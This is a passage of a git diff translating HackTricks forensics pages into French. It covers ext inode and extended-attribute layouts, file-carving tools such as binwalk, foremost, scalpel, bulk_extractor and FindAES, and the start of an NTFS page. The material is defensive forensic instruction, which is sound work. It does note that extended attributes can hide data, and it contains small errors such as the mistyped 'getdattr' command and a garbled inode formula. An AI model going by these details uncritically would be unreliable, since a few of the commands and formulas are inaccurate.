l'intérieur de son groupe** : (Numéro d'inode - 1) mod (Inodes/groupes) +* **Décalage** dans la **table d'inodes** : Numéro d'inode \* (Taille d'inode) +* Le "-1" est dû au fait que l'inode 0 est indéfini (non utilisé) ```bash ls -ali /bin | sort -n #Get all inode numbers and sort by them stat /bin/ls #Get the inode information of a file istat -o /path/to/image.ext 657103 #Get information of that inode inside the given ext file icat -o /path/to/image.ext 657103 #Cat the file ``` +Mode de fichier -File Mode - -| Number | Description | +| Numéro | Description | | ------ | --------------------------------------------------------------------------------------------------- | | **15** | **Reg/Slink-13/Socket-14** | -| **14** | **Directory/Block Bit 13** | -| **13** | **Char Device/Block Bit 14** | +| **14** | **Répertoire/Bit de bloc 13** | +| **13** | **Périphérique de caractère/Bit de bloc 14** | | **12** | **FIFO** | | 11 | Set UID | | 10 | Set GID | -| 9 | Sticky Bit (without it, anyone with Write & exec perms on a directory can delete and rename files) | -| 8 | Owner Read | -| 7 | Owner Write | -| 6 | Owner Exec | -| 5 | Group Read | -| 4 | Group Write | -| 3 | Group Exec | -| 2 | Others Read | -| 1 | Others Write | -| 0 | Others Exec | +| 9 | Bit collant (sans cela, toute personne ayant des autorisations d'écriture et d'exécution sur un répertoire peut supprimer et renommer des fichiers) | +| 8 | Lecture propriétaire | +| 7 | Écriture propriétaire | +| 6 | Exécution propriétaire | +| 5 | Lecture de groupe | +| 4 | Écriture de groupe | +| 3 | Exécution de groupe | +| 2 | Lecture autres | +| 1 | Écriture autres | +| 0 | Exécution autres | -The bold bits (12, 13, 14, 15) indicate the type of file the file is (a directory, socket...) only one of the options in bold may exit. +Les bits en gras (12, 13, 14, 15) indiquent le type de fichier (un répertoire, une socket...) seul l'une des options en gras peut exister. -Directories +Répertoires -| Offset | Size | Name | Description | -| ------ | ---- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| 0x0 | 4 | Inode | | -| 0x4 | 2 | Rec len | Record length | -| 0x6 | 1 | Name len | Name length | -| 0x7 | 1 | File type |

0x00 Unknown
0x01 Regular

0x02 Director

0x03 Char device

0x04 Block device

0x05 FIFO

0x06 Socket

0x07 Sym link

| -| 0x8 | | Name | Name string (up to 255 characters) | +| Offset | Taille | Nom | Description | +| ------ | ------ | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| 0x0 | 4 | Inode | | +| 0x4 | 2 | Longueur d'enregistrement | Longueur de l'enregistrement | +| 0x6 | 1 | Longueur du nom | Longueur du nom | +| 0x7 | 1 | Type de fichier |

0x00 Inconnu
0x01 Régulier

0x02 Répertoire

0x03 Périphérique de caractère

0x04 Périphérique de bloc

0x05 FIFO

0x06 Socket

0x07 Lien symbolique

| +| 0x8 | | Nom | Chaîne de nom (jusqu'à 255 caractères) | -**To increase the performance, Root hash Directory blocks may be used.** +**Pour augmenter les performances, les blocs de hachage racine du répertoire peuvent être utilisés.** -**Extended Attributes** +**Attributs étendus** -Can be stored in +Peut être stocké dans -* Extra space between inodes (256 - inode size, usually = 100) -* A data block pointed to by file\_acl in inode +* Espace supplémentaire entre les inodes (256 - taille de l'inode, généralement = 100) +* Un bloc de données pointé par file\_acl dans l'inode -Can be used to store anything as a users attribute if the name starts with "user". So data can be hidden this way. +Peut être utilisé pour stocker n'importe quoi en tant qu'attribut d'utilisateur si le nom commence par "user". Les données peuvent donc être cachées de cette manière. -Extended Attributes Entries - -| Offset | Size | Name | Description | -| ------ | ---- | ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| 0x0 | 1 | Name len | Length of attribute name | -| 0x1 | 1 | Name index |

0x0 = no prefix

0x1 = user. Prefix

0x2 = system.posix_acl_access

0x3 = system.posix_acl_default

0x4 = trusted.

0x6 = security.

0x7 = system.

0x8 = system.richacl

| -| 0x2 | 2 | Value offs | Offset from first inode entry or start of block | -| 0x4 | 4 | Value blocks | Disk block where value stored or zero for this block | -| 0x8 | 4 | Value size | Length of value | -| 0xC | 4 | Hash | Hash for attribs in block or zero if in inode | -| 0x10 | | Name | Attribute name w/o trailing NULL | +Entrées d'attributs étendus +| Offset | Taille | Nom | Description | +| ------ | ------ | ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| 0x0 | 1 | Longueur du nom | Longueur du nom d'attribut | +| 0x1 | 1 | Index de nom |

0x0 = pas de préfixe

0x1 = préfixe utilisateur

0x2 = system.posix_acl_access

0x3 = system.posix_acl_default

0x4 = trusted.

0x6 = security.

0x7 = system.

0x8 = system.richacl

| +| 0x2 | 2 | Décalage de la valeur | Décalage depuis la première entrée d'inode ou le début du bloc | +| 0x4 | 4 | Blocs de valeur | Bloc de disque où la valeur est stockée ou zéro pour ce bloc | +| 0x8 | 4 | Taille de la valeur | Longueur de la valeur | +| 0xC | 4 | Hachage | Hachage pour les attributs dans le bloc ou zéro s'ils sont dans l'inode | +| 0x10 | | Nom | Nom d'attribut sans NULL final | ```bash setfattr -n 'user.secret' -v 'This is a secret' file.txt #Save a secret using extended attributes getfattr file.txt #Get extended attribute names of a file getdattr -n 'user.secret' file.txt #Get extended attribute called "user.secret" ``` +## Vue du système de fichiers -## Filesystem View - -To see the contents of the file system, you can **use the free tool**: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\ -Or you can mount it in your linux using `mount` command. - -[https://piazza.com/class\_profile/get\_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.](https://piazza.com/class\_profile/get\_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.) - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- +Pour voir le contenu du système de fichiers, vous pouvez **utiliser l'outil gratuit** : [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\ +Ou vous pouvez le monter dans votre linux en utilisant la commande `mount`. +[https://piazza.com/class\_profile/get\_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=Le%20syst%C3%A8me%20de%20fichiers%20Ext2%20divise,temps%20de%20recherche%20de%20disque%20moyen.](https://piazza.com/class\_profile/get\_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=Le%20syst%C3%A8me%20de%20fichiers%20Ext2%20divise,temps%20de%20recherche%20de%20disque%20moyen.) diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 6e1cc162e..758aa1a5a 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -1,127 +1,115 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# Carving & Recovery tools +# Outils de récupération et de sculpture -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +Plus d'outils sur [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ## Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files. +L'outil le plus couramment utilisé en médecine légale pour extraire des fichiers à partir d'images est [**Autopsy**](https://www.autopsy.com/download/). Téléchargez-le, installez-le et faites-le ingérer le fichier pour trouver des fichiers "cachés". Notez qu'Autopsy est conçu pour prendre en charge les images de disque et d'autres types d'images, mais pas les fichiers simples. ## Binwalk -**Binwalk** is a tool for searching binary files like images and audio files for embedded files and data.\ -It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github.\ -**Useful commands**: - +**Binwalk** est un outil de recherche de fichiers binaires tels que des images et des fichiers audio pour des fichiers et des données intégrés.\ +Il peut être installé avec `apt`, cependant la [source](https://github.com/ReFirmLabs/binwalk) peut être trouvée sur github.\ +**Commandes utiles** : ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ## Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types. - +Un autre outil courant pour trouver des fichiers cachés est **foremost**. Vous pouvez trouver le fichier de configuration de foremost dans `/etc/foremost.conf`. Si vous voulez simplement rechercher des fichiers spécifiques, décommentez-les. Si vous ne décommentez rien, foremost recherchera les types de fichiers configurés par défaut. ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ## **Scalpel** -**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. - +**Scalpel** est un autre outil qui peut être utilisé pour trouver et extraire des **fichiers intégrés dans un fichier**. Dans ce cas, vous devrez décommenter du fichier de configuration (_/etc/scalpel/scalpel.conf_) les types de fichiers que vous souhaitez extraire. ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ## Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: +Cet outil est inclus dans Kali, mais vous pouvez le trouver ici : [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) +Cet outil peut scanner une image et **extraire des pcaps**, des **informations réseau (URL, domaines, adresses IP, adresses MAC, e-mails)** et d'autres **fichiers**. Vous n'avez qu'à : ``` bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). +Parcourez **toutes les informations** que l'outil a collectées (mots de passe ?), **analysez** les **paquets** (lire [**Analyse de Pcaps**](../pcap-inspection/)), recherchez des **domaines étranges** (domaines liés aux **logiciels malveillants** ou **inexistants**). ## PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) +Vous pouvez le trouver sur [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) -It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for. +Il est livré avec des versions GUI et CLI. Vous pouvez sélectionner les **types de fichiers** que vous souhaitez que PhotoRec recherche. ![](<../../../.gitbook/assets/image (524).png>) ## binvis -Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). +Vérifiez le [code](https://code.google.com/archive/p/binvis/) et la [page web de l'outil](https://binvis.io/#/). -### Features of BinVis +### Fonctionnalités de BinVis -* Visual and active **structure viewer** -* Multiple plots for different focus points -* Focusing on portions of a sample -* **Seeing stings and resources**, in PE or ELF executables e. g. -* Getting **patterns** for cryptanalysis on files -* **Spotting** packer or encoder algorithms -* **Identify** Steganography by patterns -* **Visual** binary-diffing +* Visualisation de la **structure** de manière active +* Plusieurs graphiques pour différents points de focus +* Mise au point sur des parties d'un échantillon +* **Voir les chaînes et les ressources**, dans les exécutables PE ou ELF, par exemple. +* Obtenir des **modèles** pour la cryptanalyse de fichiers +* **Repérer** les algorithmes de compression ou de codage +* **Identifier** la stéganographie par des modèles +* **Visualiser** les différences binaires -BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. +BinVis est un excellent **point de départ pour se familiariser avec une cible inconnue** dans un scénario de boîte noire. -# Specific Data Carving Tools +# Outils spécifiques de récupération de données ## FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +Recherche des clés AES en recherchant leurs calendriers de clés. Capable de trouver des clés de 128, 192 et 256 bits, comme celles utilisées par TrueCrypt et BitLocker. -Download [here](https://sourceforge.net/projects/findaes/). +Téléchargez [ici](https://sourceforge.net/projects/findaes/). -# Complementary tools +# Outils complémentaires -You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +Vous pouvez utiliser [**viu** ](https://github.com/atanunq/viu) pour voir des images depuis le terminal.\ +Vous pouvez utiliser l'outil de ligne de commande linux **pdftotext** pour transformer un pdf en texte et le lire.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au repo [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md index 6968127c8..5bf7dee78 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md @@ -1,92 +1,82 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# Carving tools +# Outils de récupération de données ## Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kind of images, but not simple files. +L'outil le plus couramment utilisé en informatique légale pour extraire des fichiers à partir d'images est [**Autopsy**](https://www.autopsy.com/download/). Téléchargez-le, installez-le et faites-le ingérer le fichier pour trouver des fichiers "cachés". Notez qu'Autopsy est conçu pour prendre en charge les images de disque et d'autres types d'images, mais pas les fichiers simples. ## Binwalk -**Binwalk** is a tool for searching binary files like images and audio files for embedded files and data. -It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github. -**Useful commands**: - +**Binwalk** est un outil de recherche de fichiers binaires tels que des images et des fichiers audio pour des fichiers et des données intégrés. +Il peut être installé avec `apt`, cependant la [source](https://github.com/ReFirmLabs/binwalk) peut être trouvée sur github. +**Commandes utiles**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ## Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for it's default configured file types. - +Un autre outil courant pour trouver des fichiers cachés est **foremost**. Vous pouvez trouver le fichier de configuration de foremost dans `/etc/foremost.conf`. Si vous voulez simplement rechercher des fichiers spécifiques, décommentez-les. Si vous ne décommentez rien, foremost recherchera les types de fichiers configurés par défaut. ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ## **Scalpel** -**Scalpel** is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file \(_/etc/scalpel/scalpel.conf_\) the file types you want it to extract. - +**Scalpel** est un autre outil qui peut être utilisé pour trouver et extraire des **fichiers intégrés dans un fichier**. Dans ce cas, vous devrez décommenter du fichier de configuration (_/etc/scalpel/scalpel.conf_) les types de fichiers que vous souhaitez extraire. ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ## Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information\(URLs, domains, IPs, MACs, mails\)** and more **files**. You only have to do: +Cet outil est inclus dans Kali mais vous pouvez le trouver ici: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor) +Cet outil peut scanner une image et **extraire des pcaps** à l'intérieur, des **informations réseau (URL, domaines, adresses IP, adresses MAC, e-mails)** et plus encore des **fichiers**. Vous n'avez qu'à faire: ```text bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered \(passwords?\), **analyse** the **packets** \(read[ **Pcaps analysis**](../pcap-inspection/)\), search for **weird domains** \(domains related to **malware** or **non-existent**\). +Parcourez **toutes les informations** que l'outil a rassemblées \(mots de passe ?\), **analysez** les **paquets** \(lire [**Pcaps analysis**](../pcap-inspection/)\), recherchez des **domaines étranges** \(domaines liés aux **logiciels malveillants** ou **inexistants**\). ## PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +Vous pouvez le trouver sur [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) -It comes with GUI and CLI version. You can select the **file-types** you want PhotoRec to search for. +Il est livré avec une version GUI et CLI. Vous pouvez sélectionner les **types de fichiers** que vous souhaitez que PhotoRec recherche. ![](../../../.gitbook/assets/image%20%28524%29.png) -# Specific Data Carving Tools +# Outils de récupération de données spécifiques ## FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +Recherche les clés AES en recherchant leurs calendriers de clés. Capable de trouver des clés de 128, 192 et 256 bits, telles que celles utilisées par TrueCrypt et BitLocker. -Download [here](https://sourceforge.net/projects/findaes/). +Téléchargez [ici](https://sourceforge.net/projects/findaes/). -# Complementary tools +# Outils complémentaires -You can use [**viu** ](https://github.com/atanunq/viu)to see images form the terminal. -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +Vous pouvez utiliser [**viu** ](https://github.com/atanunq/viu) pour voir des images à partir du terminal. +Vous pouvez utiliser l'outil de ligne de commande linux **pdftotext** pour transformer un pdf en texte et le lire. @@ -94,16 +84,14 @@ You can use the linux command line tool **pdftotext** to transform a pdf into te ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au repo [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md index f61b86131..24348b2cc 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md @@ -6,225 +6,101 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo 